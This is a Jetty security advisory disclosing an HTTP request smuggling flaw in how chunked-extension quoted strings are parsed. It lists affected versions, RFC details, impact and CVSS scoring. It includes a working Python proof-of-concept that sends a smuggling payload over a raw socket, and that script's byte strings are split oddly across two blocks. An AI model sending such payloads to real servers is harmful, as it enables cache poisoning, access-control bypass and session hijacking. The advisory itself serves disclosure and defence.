

jetty / jetty.project Public

[Code](#) [Issues](#) 229 [Pull requests](#) 31 [Discussions](#) [Actions](#) [Projects](#)

# HTTP Request Smuggling via Chunked Extension Quoted-String Parsing

**High** olamy published **GHSA-355h-qmc2-wpwf** last week

## Package

 **org.eclipse.jetty:jetty-http** ([Maven](#))

### Affected versions

>=12.1.0, <=12.1.6  
>=12.0.0, <=12.0.32  
>=11.0.0, <=11.0.27  
>=10.0.0, <=10.0.27  
>=9.4.0, <=9.4.59

### Patched versions

12.1.7  
12.0.33  
11.0.28  
10.0.28  
9.4.60

## Description

### Description (as reported)

Jetty incorrectly parses quoted strings in HTTP/1.1 chunked transfer encoding extension values, enabling request smuggling attacks.

### Background

This vulnerability is a new variant discovered while researching the "Funky Chunks" HTTP request smuggling techniques:

- <https://w4ke.info/2025/06/18/funky-chunks.html>
- <https://w4ke.info/2025/10/29/funky-chunks-2.html>

The original research tested various chunk extension parsing differentials but did not test quoted-string handling within extension values.

### Technical Details

**RFC 9112 Section 7.1.1** defines chunked transfer encoding:

```
chunk = chunk-size [ chunk-ext ] CRLF chunk-data CRLF
chunk-ext = *( BWS ";" BWS chunk-ext-name [ BWS "=" BWS chunk-ext-val ] )
chunk-ext-val = token / quoted-string
```



**RFC 9110 Section 5.6.4** defines quoted-string:

```
quoted-string = DQUOTE *( qdtext / quoted-pair ) DQUOTE
```



A quoted-string continues until the closing DQUOTE, and `\r\n` sequences are not permitted within the quotes.

## Vulnerability

Jetty terminates chunk header parsing at `\r\n` inside quoted strings instead of treating this as an error.

**Expected (RFC compliant):**

```
Chunk: 1;a="value\r\nhere"\r\n
      ^^^^^^^^^^^^^^^^^^^^^^^^^ extension value
Body: [1 byte after the real \r\n]
```



**Actual (jetty):**

```
Chunk: 1;a="value
      ^^^^^ terminates here (WRONG)
Body: here"... treated as body/next request
```



## Proof of Concept

```
#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
```



```

    b""\r\n'
    b"Y\r\n"
    b"0\r\n"
    b""\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

```

**Result:** Server returns 2 HTTP responses from a single TCP connection.

### Parsing Breakdown

Parser	Request 1	Request 2
jetty (vulnerable)	POST / body="X"	GET /smuggled (SMUGGLED!)
RFC compliant	POST / body="Y"	(none - smuggled request hidden in extension)

### Impact

- **Request Smuggling:** Attacker injects arbitrary HTTP requests
- **Cache Poisoning:** Smuggled responses poison shared caches
- **Access Control Bypass:** Smuggled requests bypass frontend security
- **Session Hijacking:** Smuggled requests can steal other users' responses

### Reproduction

1. Start the minimal POC with docker
2. Run the poc script provided in same zip

### Suggested Fix

Ensure the chunk framing and extensions are parsed exactly as specified in RFC9112.  
A CRLF inside a quoted-string should be considered a parsing error and not a line terminator.

## Patches

No patches yet.

## Workarounds

No workarounds yet.

## References

- RFC 9110: HTTP Semantics (Sections 5.6.4, 7.1.1)
- Funky Chunks Research: <https://w4ke.info/2025/06/18/funky-chunks.html>
- details for security versions <https://jetty.org/security.html>

### Severity

**High** 7.4 / 10

#### CVSS v3 base metrics

Attack vector	Network
Attack complexity	High
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	High
Availability	None

[Learn more about base metrics](#)

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

### CVE ID

CVE-2026-2332

### Weaknesses

► CWE-444

### Credits



xclow3n

Reporter